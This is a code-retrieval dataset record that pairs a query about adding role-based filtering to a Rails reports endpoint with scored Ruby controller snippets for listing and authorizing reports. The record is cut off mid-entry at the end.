query_id
stringlengths 32
32
| query
stringlengths 7
6.75k
| positive_passages
listlengths 1
1
| negative_passages
listlengths 88
101
|
---|---|---|---|
af5aece9a2e781a7fc619e111f0323be
|
TODO: Add filtering based on role to allow viewing of reports GET /reports
|
[
{
"docid": "f5593ba5cf917fdd6e72ae8e153b16d3",
"score": "0.0",
"text": "def index\n #Counts\n @contract_counts_by_office = Contract.contract_counts_by_office\n @customer_counts_by_office = Contract.customer_counts_by_office\n @total_contracts = @contract_counts_by_office.map { |k, v| @contract_counts_by_office[k]['total'] }.sum\n @total_customers = @customer_counts_by_office.map { |k, v| @customer_counts_by_office[k]['total'] }.sum\n @unrenewed_amount = Contract.non_renewing_contracts(Date.today - 1.year, Date.today)\n @attrition_amount = Contract.existing_revenue_change\n\n @offices = []\n n = 0\n @contract_counts_by_office.each_key do |k|\n @offices[n] = k\n n = n+1\n end\n @offices.sort!\n #Revenue totals\n begin\n @date = Date.parse(params[:date]) if params[:date]\n rescue ArgumentError\n flash[:notice] = 'Invalid Date!'\n end\n @all_revenue = Contract.all_revenue(@date)\n @revenue_by_office_by_type = Contract.revenue_by_office_by_type(@date)\n @date ||= Date.today\n respond_to do |format|\n format.html # index.html.haml\n end\n end",
"title": ""
}
] |
[
{
"docid": "36afdeb92726e0889d26dec1a7adf478",
"score": "0.7735898",
"text": "def index\n @reports = current_user.reports.all\n end",
"title": ""
},
{
"docid": "34c287216930e6558a410221a90e6fef",
"score": "0.7731513",
"text": "def index\n @reports = current_user.reports.all\n\n end",
"title": ""
},
{
"docid": "2a1d57f16c8c5e2bbe84be5aad8e0a83",
"score": "0.75661194",
"text": "def index\n if current_user.role == \"کارفرما\"\n redirect_to root_url\n end\n @reports = Report.all\n end",
"title": ""
},
{
"docid": "91722b989aa2053d9f96977724c3693e",
"score": "0.7280787",
"text": "def authorize_reports\n authorize! :read, :report\n end",
"title": ""
},
{
"docid": "9b92214dae24baf03dbce6d5cacc86f2",
"score": "0.7264525",
"text": "def show\n @report = current_user.reports.find(params[:id])\n end",
"title": ""
},
{
"docid": "15b45d85838740fa99871f768025bda3",
"score": "0.7247577",
"text": "def list\n @reports_fetch = Report.all\n @reports = []\n\n @reports_fetch.each do |report|\n @reports << report if current_user == report.submitter\n end\n\n render status: 200, json: @reports.as_json(methods: [:url_title_string, :report_time_ms], include: { report_status_type: {}, report_type: {}, specified_submit_to_role: {} })\n end",
"title": ""
},
{
"docid": "8a0e8586f296d72388d3832e022832de",
"score": "0.72309726",
"text": "def customer_reports\n @users = User.where(\"role = ?\", \"user\")\n end",
"title": ""
},
{
"docid": "14ee324f08c42a732553f5eef167090e",
"score": "0.7120096",
"text": "def show_report\n report = User.find(params[:id]).reports.find(params[:r_id])\n render :json => report\n end",
"title": ""
},
{
"docid": "b49eb012058cbc1e7e262f21a4528f9c",
"score": "0.69793516",
"text": "def show\n @report = current_user.reports.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @report }\n end\n end",
"title": ""
},
{
"docid": "014adb26dce38e56a3fcc6f3854739f8",
"score": "0.6976521",
"text": "def my_reports\n @reports ||= Report.user(current_user).all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @reports }\n end\n end",
"title": ""
},
{
"docid": "ade765b1aa67c00354e7fe127c95ae99",
"score": "0.69681585",
"text": "def show_user_reports\n reports = User.find(params[:id]).reports\n render :json => reports\n end",
"title": ""
},
{
"docid": "4365791a5fab91e8417f718dfa41509a",
"score": "0.6856447",
"text": "def index\n\n # render :json => users.to_json(include: :reports)\n\n reports = current_user.reports\n # render :json => reports\n\n render :json => reports.to_json(include: :inputs)\n end",
"title": ""
},
{
"docid": "f7fe644f93a026818cde0e5f9eb15051",
"score": "0.68555737",
"text": "def reports\n @node = resource\n @reports = params[:kind] == \"inspect\" ? @node.reports.inspections : @node.reports.applies\n respond_to do |format|\n format.html { @reports = paginate_scope(@reports); render 'reports/index' }\n end\n end",
"title": ""
},
{
"docid": "aa04f63746dda39caf44208529633f42",
"score": "0.68226194",
"text": "def show\n\t\tif current_usuario.asignacion_roles.where(esActual: true, id: Rol.where(nombre: \"Voluntario\"), proyecto: @reporte.actividad.proyecto) && current_usuario.asignacion_roles.where(esActual: true, proyecto: @reporte.actividad.proyecto).count == 1\n\t\t\traise CanCan::AccessDenied if !Reporte.accessible_by(current_ability, :show).include?(@reporte)\n\t\telse\n\t\t\tauthorize! :show, Reporte\n\t\tend\n\n end",
"title": ""
},
{
"docid": "341a0d89ed73efc41b17e219dcbee074",
"score": "0.67261297",
"text": "def view\n if params[:report_date].present? && params[:report_type].present?\n @report_contents = current_user.get_reports(params[:report_date], params[:report_type])\n else\n respond_to do |format|\n format.html { redirect_to current_user, method: :get, alert: 'Either report date or report type is empty' }\n format.json { render :show, status: :bad_request, location: @user }\n end\n end\n end",
"title": ""
},
{
"docid": "11f4619c4781f9a788192713d0cbe38b",
"score": "0.6701603",
"text": "def index\n @reports = Report.user_reports(current_user).order('created_at DESC').paginate(page: params[:page], per_page: 10)\n @report = Report.new(report_params)\n end",
"title": ""
},
{
"docid": "f0e2c67c9533b6164162cdcb72fa9173",
"score": "0.6700895",
"text": "def reports\n collection(\"reports\")\n end",
"title": ""
},
{
"docid": "9e896716fb2fa3434f1fe718c0283623",
"score": "0.6653987",
"text": "def index\n @reports = current_company.reports.reverse_order.page(params[:page]).per(10) if params[:sort] == nil && params[:uesr_id] == nil\n @reports = current_company.reports.order(params[:sort]).page(params[:page]).per(10) if params[:sort] != nil\n @reports = current_company.reports.where(user_id: params[:user_id]).reverse_order.page(params[:page]).per(10) if params[:user_id] != nil\n end",
"title": ""
},
{
"docid": "5a3a1abc02fbc05726aee3a151be9755",
"score": "0.656553",
"text": "def index\n render_collection filter_reports(filter_params), status: :ok\n end",
"title": ""
},
{
"docid": "5a3a1abc02fbc05726aee3a151be9755",
"score": "0.656553",
"text": "def index\n render_collection filter_reports(filter_params), status: :ok\n end",
"title": ""
},
{
"docid": "f0ccd36ba4c704242dee1889edb7a819",
"score": "0.6563658",
"text": "def index\n @admins_direct_reports = DirectReport.all\n end",
"title": ""
},
{
"docid": "19dec1e5b5f7663d90313b1b4f0aec86",
"score": "0.6531553",
"text": "def index\n @reports = Report.where(user_id: current_user.id, patient_id:@patient.id)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @reports }\n end\n end",
"title": ""
},
{
"docid": "7ac3acf13e72716026fbd19a9fec6d92",
"score": "0.65062696",
"text": "def get_reports\n if is_administrator?\n return Reports.all\n else\n reports = Reports.all\n reports_array = []\n reports.each do |report|\n next unless report and get_username\n authors = report.authors\n reports_array.push(report) if report.owner == get_username \n if authors\n reports_array.push(report) if authors.include?(get_username)\n end\n end\n return nil unless reports_array\n return reports_array \n end\nend",
"title": ""
},
{
"docid": "9b4a637f435390d9c39a9863badc9ff5",
"score": "0.64833",
"text": "def reports\n user_reports.concat(mod_reports)\n end",
"title": ""
},
{
"docid": "0588e38128f0e42a11e9fe31ccf27395",
"score": "0.64766943",
"text": "def index\n @reports = Report.search(params[:search], session[:user_id])\n #@reports = Report.where(\"user_id = '%i'\", session[:user_id])\n end",
"title": ""
},
{
"docid": "3c17794f6667cca2d89cb02505230550",
"score": "0.6472164",
"text": "def index\n @admin_reports = Admin::Report.all\n end",
"title": ""
},
{
"docid": "ce41c17e0b1c523643f0f1f50d86a66e",
"score": "0.64546144",
"text": "def find_reports(user)\n @reports = Report.all(:conditions => { :user_id => user })\n end",
"title": ""
},
{
"docid": "7e1b2e0ee7c9ddc916a125fb2a6cb053",
"score": "0.6408128",
"text": "def index\n @reports = Report.all\n end",
"title": ""
},
{
"docid": "7e1b2e0ee7c9ddc916a125fb2a6cb053",
"score": "0.6408128",
"text": "def index\n @reports = Report.all\n end",
"title": ""
},
{
"docid": "7e1b2e0ee7c9ddc916a125fb2a6cb053",
"score": "0.6408128",
"text": "def index\n @reports = Report.all\n end",
"title": ""
},
{
"docid": "7e1b2e0ee7c9ddc916a125fb2a6cb053",
"score": "0.6408128",
"text": "def index\n @reports = Report.all\n end",
"title": ""
},
{
"docid": "7e1b2e0ee7c9ddc916a125fb2a6cb053",
"score": "0.6408128",
"text": "def index\n @reports = Report.all\n end",
"title": ""
},
{
"docid": "7e1b2e0ee7c9ddc916a125fb2a6cb053",
"score": "0.6408128",
"text": "def index\n @reports = Report.all\n end",
"title": ""
},
{
"docid": "7e1b2e0ee7c9ddc916a125fb2a6cb053",
"score": "0.6408128",
"text": "def index\n @reports = Report.all\n end",
"title": ""
},
{
"docid": "7e1b2e0ee7c9ddc916a125fb2a6cb053",
"score": "0.6408128",
"text": "def index\n @reports = Report.all\n end",
"title": ""
},
{
"docid": "7e1b2e0ee7c9ddc916a125fb2a6cb053",
"score": "0.6408128",
"text": "def index\n @reports = Report.all\n end",
"title": ""
},
{
"docid": "7e1b2e0ee7c9ddc916a125fb2a6cb053",
"score": "0.6408128",
"text": "def index\n @reports = Report.all\n end",
"title": ""
},
{
"docid": "7e1b2e0ee7c9ddc916a125fb2a6cb053",
"score": "0.6408128",
"text": "def index\n @reports = Report.all\n end",
"title": ""
},
{
"docid": "7e1b2e0ee7c9ddc916a125fb2a6cb053",
"score": "0.6408128",
"text": "def index\n @reports = Report.all\n end",
"title": ""
},
{
"docid": "7e1b2e0ee7c9ddc916a125fb2a6cb053",
"score": "0.6408128",
"text": "def index\n @reports = Report.all\n end",
"title": ""
},
{
"docid": "9d7866c3d68a52482ce69e8bf027a110",
"score": "0.6389851",
"text": "def show\n @report = Report.find(params[:id])\n authorize! :show, @report, :message => 'Acceso denegado.'\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @report }\n end\n end",
"title": ""
},
{
"docid": "70b3456b3a55c86d443a4515858690bd",
"score": "0.6385815",
"text": "def index\n if User.current.allowed_to?(:manage_roles)\n @journals = Journal.order('id DESC').paginate(page: params[:page], per_page: 25)\n else\n @journals = Journal.where(assigned_to_id: User.current.id ).order('id DESC').paginate(page: params[:page], per_page: 25)\n end\n end",
"title": ""
},
{
"docid": "38d3d652a9056b4a1e637c1ed9ef79b4",
"score": "0.63650954",
"text": "def get_reports\n if is_administrator?\n return Reports.all( :order => [:id.desc])\n else\n reports = Reports.all( :order => [:id.desc])\n reports_array = []\n reports.each do |report|\n next unless report and get_username\n authors = report.authors\n reports_array.push(report) if report.owner == get_username\n if authors\n reports_array.push(report) if authors.include?(get_username)\n end\n end\n return nil unless reports_array\n return reports_array\n end\nend",
"title": ""
},
{
"docid": "c2c31982d6279e5b72631047d363bfaf",
"score": "0.6355544",
"text": "def set_report\n @report = current_user.reports.find(params[:id])\n end",
"title": ""
},
{
"docid": "916aec1004c0effbb51f1a94d61c85cb",
"score": "0.6341765",
"text": "def index\n\n # Essa página é exclusiva de agente\n\n authorize :report, :index?\n\n if params[:search] && !params[:search2]\n @reports = Report.select(\"reports.id, reports.resquest_criminal_id, reports.user_id, users.name, resquest_criminals.person_id, resquest_criminals.district_resquest_id\").joins(:resquest_criminal).joins(:user).where(\"users.name like ?\",\"%#{params[:search]}%\")\n # Pesquisa pelo Nome do Perito\n elsif !params[:search] && params[:search2]\n @reports = Report.select(\"reports.id, reports.resquest_criminal_id, reports.user_id, users.name, resquest_criminals.person_id, resquest_criminals.district_resquest_id\").joins(:resquest_criminal).joins(:user).where(\"resquest_criminals.person_name like ?\", \"%#{params[:search2]}%\")\n # Pesquisa pelo no da Pessoa da Requisição\n else\n @reports = Report.all\n end\n \n # status: {aberto: 0, em_andamento:1, finalizado: 2} \n @resquest_criminals = ResquestCriminal.all\n end",
"title": ""
},
{
"docid": "7465667161efc12570217ca31ef1543e",
"score": "0.6323474",
"text": "def index\n if params[:user_id]\n raise BlogException.new(:not_found, \"not find request page\") unless User.find_by_id(params[:user_id])\n @reports = Report.where(:user_id => params[:user_id]).all\n else\n @reports = Report.all\n end\n\n @user = current_user\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @reports }\n end\n rescue => e\n @message = e.message\n status = (e.class == BlogException ? e.code : :internal_server_error)\n respond_to do |format|\n format.html { render :template => 'error', :status => status }\n format.json { render json: @message, :status => status }\n end\n end",
"title": ""
},
{
"docid": "0dcb38c739a71b09e0e8434230ebcc8d",
"score": "0.630952",
"text": "def index\n @user_reports = UserReport.find_all_by_spam(false, :include => :user, :order => 'user_reports.created_at DESC')\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @user_reports }\n end\n end",
"title": ""
},
{
"docid": "8bf3834806aa78ffe60ad8a325e97c64",
"score": "0.62889624",
"text": "def index\n if current_user.admin? == false\n @blocks = Block.where(:user_id => current_user.id)\n @user_reports = Array.new\n for block in @blocks\n @user_reports << block.block_number\n end\n @reports = Report.where(:block_number => @user_reports).paginate(:page => params[:page], :per_page => 10)\n @reports = @reports.order(sort_column + \" \" + sort_direction)\n else\n @reports = Report.all.paginate(:page => params[:page], :per_page => 10)\n @reports = @reports.order(sort_column + \" \" + sort_direction)\n @reportsAll = Report.all\n end\n\n respond_to do |format|\n format.html\n format.csv { send_data @reportsAll.to_csv }\n format.xls { send_data @reportsAll.to_csv(col_sep: \"\\t\") }\n end\n end",
"title": ""
},
{
"docid": "0e74f31e46e1c6c6f54687d4eabba14a",
"score": "0.62794095",
"text": "def index\n \n if current_user.role?('ADMIN')\n @patients = Patient.all \n else\n @patients = Patient.where(:user_id => current_user.id)\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @patients }\n end\n end",
"title": ""
},
{
"docid": "8ccd81a869df36302fed73ed22cac8c2",
"score": "0.6277303",
"text": "def index\n if current_user.has_role?('administrator')\n @invoices = Invoice.find(:all)\n else \n @invoices = current_user.invoices\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @invoices }\n end\n end",
"title": ""
},
{
"docid": "69520a38d3bec54bad45d10d93fecd8d",
"score": "0.6273609",
"text": "def show_report_inputs\n inputs = User.find(params[:id]).reports.find(params[:r_id]).inputs\n render :json => inputs\n end",
"title": ""
},
{
"docid": "1946b5a7c7d154e94d2f25e4675b63f9",
"score": "0.6270502",
"text": "def index\n if params[:id].nil?\n @applicant_reports = ApplicantReport.all\n else\n @applicant_reports = ApplicantReport.where(applicant_id: params[:id])\n end\n end",
"title": ""
},
{
"docid": "023a07cf8306e5c45652275c3e47a43f",
"score": "0.62567806",
"text": "def index\n @location[:sub_menu] = 'list_offers'\n if current_user.has_role?(:admin)\n @offers = Offer.all\n elsif current_user.has_role?(:supplier)\n @offers = Offer.where(:user_id => current_user.id)\n end\n end",
"title": ""
},
{
"docid": "e70392afc87ce58be199db74e7f08fc5",
"score": "0.6255593",
"text": "def index\n @readonly_admins = ReadonlyAdministrator.scoped\n if params.keys.include? \"department_id\"\n respond_with @readonly_admins.where(:department_id => params[:department_id])\n else\n respond_with @readonly_admins\n end\n end",
"title": ""
},
{
"docid": "df93fa6d8ad0ade344444bb2d8e36020",
"score": "0.62383753",
"text": "def show\n @report = Rails.cache.fetch(\"reports/#{params[:id]}\", :expires_in => 1.week) do\n Report.without(:email).find(params[:id])\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @report }\n end\n end",
"title": ""
},
{
"docid": "77e2e4c5dd785318fc158b57e9a739d0",
"score": "0.62331235",
"text": "def index\n if current_user.role == 'Party'\n @customers = current_user.customers\n else\n @customers = Customer.all\n end\n end",
"title": ""
},
{
"docid": "c41c8157d451ea03ac3d5314b91c9450",
"score": "0.62315315",
"text": "def reports\r\n ReportsController.instance\r\n end",
"title": ""
},
{
"docid": "d7f64775de290c324182e9daa08f47f9",
"score": "0.6228566",
"text": "def show\n @user_reports = UserReport.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @user_reports }\n end\n end",
"title": ""
},
{
"docid": "10bc3bd12c94b556ef282f57b0043138",
"score": "0.62275136",
"text": "def index\n @user = User.find(params[:user_id])\n @reports = Report.where(user_id: @user.id, date: (start_of_year(@year)..end_of_year(@year))).order('date ASC')\n end",
"title": ""
},
{
"docid": "571d3a02c9342b3e81663fe06528933c",
"score": "0.6223156",
"text": "def index\n if current_admin.role == 0\n @requests = Request.where(\"approved = 'f'\")\n elsif current_admin.role == 1\n @requests = Request.where(\"approved = 't' AND money = 'f'\")\n else\n @requests = Request.where(\"approved = 't' AND money = 't'\")\n end\n end",
"title": ""
},
{
"docid": "6b7d7930371f18e92e9b00eefd1b4d92",
"score": "0.6223113",
"text": "def index\n is_admin=current_user.roles[:user_roles][:administration]\n if is_admin==\"1\" || current_user.staff.unit_id\n @search = ExternalSupplied.search_by_role(is_admin, current_user.staff_id).search(params[:q])\n @external_supplieds = @search.result\n end\n respond_to do |format|\n if is_admin==\"1\" || current_user.staff.unit_id\n format.html\n format.csv { send_data @external_supplieds.to_csv }\n format.xls { send_data @external_supplieds.to_csv(col_sep: \"\\t\") }\n else\n format.html {redirect_to root_path, notice: (t 'external_supplieds.title')+(t 'users.staff_required')}\n end\n end\n end",
"title": ""
},
{
"docid": "7a2dbfca4c1ee25af2ef944f6d1792b5",
"score": "0.6221591",
"text": "def new\n @report = current_user.reports.new\n @sources = current_user.sources\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @report }\n end\n end",
"title": ""
},
{
"docid": "506f94ea762874d3db94f6da992575db",
"score": "0.6212633",
"text": "def index\n authorize! :index, Report, :message => 'Acceso denegado.'\n @campuses=@university.campuses\n @campuses2=@university.campuses\n @campuses_modificable = getcampuses_user(current_user)\n @reports=find_reports_from_university(@university)\n if params[:search]\n @search=params[:search]\n if @search\n @reports_search=(Report.where(\"name like ?\",\"%#{@search.capitalize}%\") | Report.where(\"name like ?\",\"%#{@search.downcase}%\") | Report.where(\"name like ?\",\"%#{@search.upcase}%\")) \n @reports=@reports_search.select{|u| @reports.include?(u)}\n @searched=true\n end\n end\n if params[:campus]\n @search_campus=params[:campus]\n if @search_campus && params[:campus][:campus_id]\n @ids=params[:campus][:campus_id]\n if @ids!=\"\"\n @campus_selected=Campus.find(params[:campus][:campus_id])\n @reports=@reports.select{|u| u.campuses.include?(@campus_selected)}\n @campuses2=@campuses.select{|u| u===@campus_selected}\n end\n end\n end\n @reports=@reports & @reports\n @reports.sort_by!{|u| u.name}\n end",
"title": ""
},
{
"docid": "2e13333743519afc9a0d0a5039097b9a",
"score": "0.620959",
"text": "def reports\n get(:reports)['Reports'].map do |details|\n Report.new(details['Url'], party: self, details: details)\n end\n end",
"title": ""
},
{
"docid": "7339d7550500dc141187ddff74826a80",
"score": "0.6202762",
"text": "def show\n @reports = @patient.reports.order(\"created_at DESC\").page(params[:page]).per(3)\n end",
"title": ""
},
{
"docid": "7fd758ca678b957ae74a4ad20ed4929a",
"score": "0.61947244",
"text": "def index\n if current_user.role? :manager\n @current_assignments = Assignment.current.for_store(current_user.employee.current_assignment.store_id).by_employee.chronological.paginate(page: params[:page]).per_page(15)\n @past_assignments = Assignment.past.for_store(current_user.employee.current_assignment.store_id).by_employee.paginate(page: params[:page]).per_page(15) \n elsif current_user.role? :admin\n @current_assignments = Assignment.current.by_store.by_employee.chronological.paginate(page: params[:page]).per_page(15)\n @past_assignments = Assignment.past.by_employee.by_store.paginate(page: params[:page]).per_page(15) \n elsif current_user.role? :employee\n @current_assignments = Assignment.current.for_employee(current_user.employee_id)\n @past_assignments = Assignment.past.for_employee(current_user.employee_id).chronological\n end\n end",
"title": ""
},
{
"docid": "acd9df9467994eb2ed854114031e8d63",
"score": "0.6194072",
"text": "def show\n if attempting_to_access_topic_from_another_application_without_privilage(\"read_any_reports\")\n raise ::ActiveRecord::RecordNotFound\n else\n @report = scoped_owner(\"read_any_reports\").topics.find(params[:topic_id]).reports.find(params[:id])\n results = @report.results\n respond_with(@report)\n end\n end",
"title": ""
},
{
"docid": "4697581778ecac9fa6d5f67a59a70f7e",
"score": "0.6193974",
"text": "def index\n @can_see_all = [\"Super Admin\", \"Recruitment Company Manager\", \"Recruirment Company Administrator\"]\n if @can_see_all.include?(current_user.role)\n @clients = Client.all\n elsif current_user.role == \"Consultant\"\n @clients = []\n current_user.projects.each do |p|\n @clients << p.client if !@clients.include?(p.client)\n end\n else\n @clients = current_user.clients\n end\n end",
"title": ""
},
{
"docid": "4eafaeec45b93f588e78640da0c94e11",
"score": "0.6178574",
"text": "def index\n #if admin, \n # show all accounts\n # else\n \n @accounts = current_user.accounts\n \n end",
"title": ""
},
{
"docid": "70f98302fb1e6922436f7b26021c8340",
"score": "0.6176049",
"text": "def show\n authorize @expense_report\n end",
"title": ""
},
{
"docid": "c6f242456698db8157cebf53fc2fbc4d",
"score": "0.616787",
"text": "def get_report(id)\n if is_administrator?\n return Reports.first(:id => id)\n else\n report = Reports.first(:id => id)\n if report\n authors = report.authors\n return report if report.owner == get_username\n if authors\n return report if authors.include?(get_username)\n end\n end\n end\nend",
"title": ""
},
{
"docid": "8615014979dec28ed10a345643c4ab61",
"score": "0.61644787",
"text": "def index\n if !params[:email].nil?\n reports = Report.where(user_email: params[:email]).order('created_at DESC')\n if reports\n render json: reports, include: :pet, status: :ok\n else\n render json: {message: 'There are no reports to show'}, status: :ok\n end\n else\n render json: {message: 'Please provide user email and try again'}, status: :bad_request\n end\n end",
"title": ""
},
{
"docid": "e6d56264e065641d56da7cb14e8942a7",
"score": "0.6163677",
"text": "def get_report(id)\n if is_administrator?\n return Reports.first(:id => id)\n else\n report = Reports.first(:id => id)\n if report\n authors = report.authors\n return report if report.owner == get_username\n if authors\n return report if authors.include?(get_username)\n end\n end\n end\nend",
"title": ""
},
{
"docid": "c0ca1b15aaf1cd932e524e1247d012c0",
"score": "0.61588836",
"text": "def index\n joins = {:user_id => doorkeeper_token.resource_owner_id, :slug => params[:topic_id]}\n joins.merge!(:application_id => doorkeeper_token.application_id) unless has_scope?(\"read_any_reports\")\n @reports = Topic::Report.joins(:topic).where(:sensit_topics => joins).page(params[:page] || 1).per(params[:per] || 10)\n respond_with(@reports)\n end",
"title": ""
},
{
"docid": "92642a3c699f3c8508ff31f45f6178ef",
"score": "0.6123883",
"text": "def index\n if (current_user.department==\"IT\")\n @requests=Request.where(status:\"approved\")\n elsif(current_user.ismanager)\n @requests=Request.where(department: current_user.department)\n else\n @requests = current_user.requests\n end\n end",
"title": ""
},
{
"docid": "fa7c9c3a9ae98645e5c6a5d951baa78c",
"score": "0.6121315",
"text": "def show\n saved_report = SavedReport.find_by_id( params[ :id ] )\n\n if ( saved_report.is_permitted_for?( @current_user ) )\n redirect_to( report_path( saved_report ) )\n else\n appctrl_not_permitted()\n end\n end",
"title": ""
},
{
"docid": "44fca17fa6e9c3f6bce22c9c3d636af6",
"score": "0.6121237",
"text": "def index\n @plans = Plan.all\n if not (current_user.role? :faculty) || (current_user.role? :admin)\n @plans = Plan.where(user_id: current_user.id)\n end\n end",
"title": ""
},
{
"docid": "101d92e37d1233a829f1b390942c61fd",
"score": "0.6111576",
"text": "def multiple_choice_report\n # PUNDIT_REVIEW_AUTHORIZE\n # PUNDIT_CHOOSE_AUTHORIZE\n # no authorization needed ...\n # authorize Portal::Learner\n # authorize @learner\n # authorize Portal::Learner, :new_or_create?\n # authorize @learner, :update_edit_or_destroy?\n @portal_learner = Portal::Learner.find(params[:id])\n \n respond_to do |format|\n format.html # report.html.haml\n end\n end",
"title": ""
},
{
"docid": "6f087db61d342ea05509b1313eda1045",
"score": "0.60996574",
"text": "def index\n @company = Company.find(params[:company_id])\n @users = @company.users.where(\"role > 0\").paginate(:page => params[:page], :per_page => 15)\n end",
"title": ""
},
{
"docid": "0af29d1adeabd609291cda1eaef708bf",
"score": "0.6091795",
"text": "def external_report_query\n authorize Portal::PermissionForm\n\n # Note that Report::Learner::Selector is a little helper that actually calls\n # API::V1::ReportLearnersEsController.query_es.\n learner_selector = Report::Learner::Selector.new(params, current_user, { learner_type: :elasticsearch })\n # In the future, we might want to extend this query format and add other filters, e.g. dates.\n response = {\n type: \"learners\",\n version: \"1.1\",\n learners: learner_selector.es_learners.map do |l|\n {\n run_remote_endpoint: l.remote_endpoint_url,\n class_id: l.class_id,\n runnable_url: l.runnable_url\n }\n end,\n user: {\n id: url_for(current_user),\n email: current_user.email\n }\n }\n # Note that we're not generating JWT. We're only signing generated query JSON, so the external report can verify\n # that it's coming from the Portal and it hasn't been modified on the way. The external report app needs to know\n # hmac_secret to verify query and signature.\n signature = OpenSSL::HMAC.hexdigest(\"SHA256\", SignedJWT.hmac_secret, response.to_json)\n render json: {\n json: response,\n signature: signature\n }.to_json\n end",
"title": ""
},
{
"docid": "141d4cbe15583ad4b38ad3182c5b2d48",
"score": "0.60911274",
"text": "def show\n case\n when @work\n @agent = @work.creators.find(params[:id])\n when @manifestation\n @agent = @manifestation.publishers.find(params[:id])\n when @item\n @agent = @item.agents.find(params[:id])\n end\n\n agent = @agent\n role = current_user.try(:role) || Role.default\n @works = Manifestation.search do\n with(:creator_ids).equal_to agent.id\n with(:required_role_id).less_than_or_equal_to role.id\n paginate page: params[:work_list_page], per_page: Manifestation.default_per_page\n end.results\n @expressions = Manifestation.search do\n with(:contributor_ids).equal_to agent.id\n with(:required_role_id).less_than_or_equal_to role.id\n paginate page: params[:expression_list_page], per_page: Manifestation.default_per_page\n end.results\n @manifestations = Manifestation.search do\n with(:publisher_ids).equal_to agent.id\n with(:required_role_id).less_than_or_equal_to role.id\n paginate page: params[:manifestation_list_page], per_page: Manifestation.default_per_page\n end.results\n\n respond_to do |format|\n format.html # show.html.erb\n format.json\n format.js\n format.html.phone\n end\n end",
"title": ""
},
{
"docid": "0137bfbcf855ec46095e8e284cdb803e",
"score": "0.6087812",
"text": "def index\n @et_reports = EtReport.all\n end",
"title": ""
},
{
"docid": "548ad98637e01b3fbc434283cbd23df8",
"score": "0.6076705",
"text": "def index\n @dynamic_reports = DynamicReport.all\n end",
"title": ""
},
{
"docid": "787b57f9c9a15e2f89cdc4ebc62ec675",
"score": "0.6076325",
"text": "def index\n if current_user\n @current_user_roleid = current_user.role_id\n @surveynames = Surveyname.paginate :page => params[:page], :per_page => 10, :order => 'created_at DESC'\n else\n flash[:notice] = 'You are not authorized to view this content, please login as Admin'\n redirect_to root_path\n end\n end",
"title": ""
},
{
"docid": "9caf7054a2d20be9fbdd5ac5ec73e323",
"score": "0.6073545",
"text": "def set_report\n @report = Report.find(params[:id])\n redirect_to dashboard_path, notice: \"Sorry, but you don't have permission to view that.\" unless @report.company_id == current_user.company_id\n end",
"title": ""
},
{
"docid": "1fdb604595505264d3aded44dbc630fc",
"score": "0.6070006",
"text": "def index\n @recordeds = Recorded.where(user_id: @current_user.id)\n authorize @recordeds\n end",
"title": ""
},
{
"docid": "2f2906646768cfe1a9cf81c0749a04bc",
"score": "0.60609204",
"text": "def correct_or_admin_user\n\n unless current_user.admin?\n @report = current_user.reports.find_by(id: params[:id])\n redirect_to root_url if @report.nil?\n end\n end",
"title": ""
},
{
"docid": "524a3a7ac7b1c502f452916e769cb0c9",
"score": "0.60575116",
"text": "def index\n @ee_reports = EeReport.all\n end",
"title": ""
},
{
"docid": "524a3a7ac7b1c502f452916e769cb0c9",
"score": "0.60575116",
"text": "def index\n @ee_reports = EeReport.all\n end",
"title": ""
},
{
"docid": "390d9b61ccbb7b83b502438a9520425d",
"score": "0.60572696",
"text": "def index\n if current_user.admin?\n @agents = Agent.all\n else\n #return show\n @agents = Agent.find(:all, :conditions => {:parent_id => current_user.agent.id})\n end\n \n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @agents }\n end\n end",
"title": ""
},
{
"docid": "43ca69a9c371e3d437043ecfb2d11bc8",
"score": "0.6048642",
"text": "def index\n if current_user.role?(\"admin\")\n @stores=Store.all\n else\n @stores = current_user.stores\n end\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @stores }\n end\n end",
"title": ""
},
{
"docid": "2dfb62ef1d719f1435b44379b181e0a5",
"score": "0.6046603",
"text": "def index\n # Get the user's records\n @records = user_records\n # Filter by the specified content type if given\n @records = @records.where(content_type: view_context.filter_params[:content_type]) if view_context.filter_params[:content_type]\n # Filter by the specified tag if given\n @records = @records.tagged_with(double_escape_quotes(view_context.filter_params[:tag])) if current_user && view_context.filter_params[:tag]\n # Get the selected id(s) if given\n @records = @records.where(id: params[:id]) if params[:id]\n # Get the relevant page unless all is specified\n @records = (view_context.filter_params[:per].eql? \"all\") ?\n @records.page(1).per(user_records.count) : @records.page(view_context.filter_params[:page]).per(view_context.filter_params[:per])\n respond_with(@records) unless performed?\n end",
"title": ""
},
{
"docid": "19a81b49ba350b6664b7215b0b2208f2",
"score": "0.604129",
"text": "def index\n @enterprises = Enterprise.includes(:devices).all\n if current_user.role_id == 1\n render \"su_index\"\n elsif current_user.role_id == 2\n render \"admin_index\"\n end\n end",
"title": ""
},
{
"docid": "51dec0c39238bad440b046b57cc0ffea",
"score": "0.60382855",
"text": "def index\n # @reports = Report.all.where(report_type: params[:type_report])\n @search = Report.search(params[:q])\n @reports = @search.result.page(params[:page])\n end",
"title": ""
},
{
"docid": "56ad0c7612258feb16685f566d5962da",
"score": "0.60374194",
"text": "def index\n @accounting_reports = AccountingReport.all\n end",
"title": ""
},
{
"docid": "8501dce03fb5fe222a40eb27107825ff",
"score": "0.6034733",
"text": "def reports\n backend.reports\n end",
"title": ""
},
{
"docid": "9e1ca7c4e8803214ef939904ecca7f0f",
"score": "0.6033111",
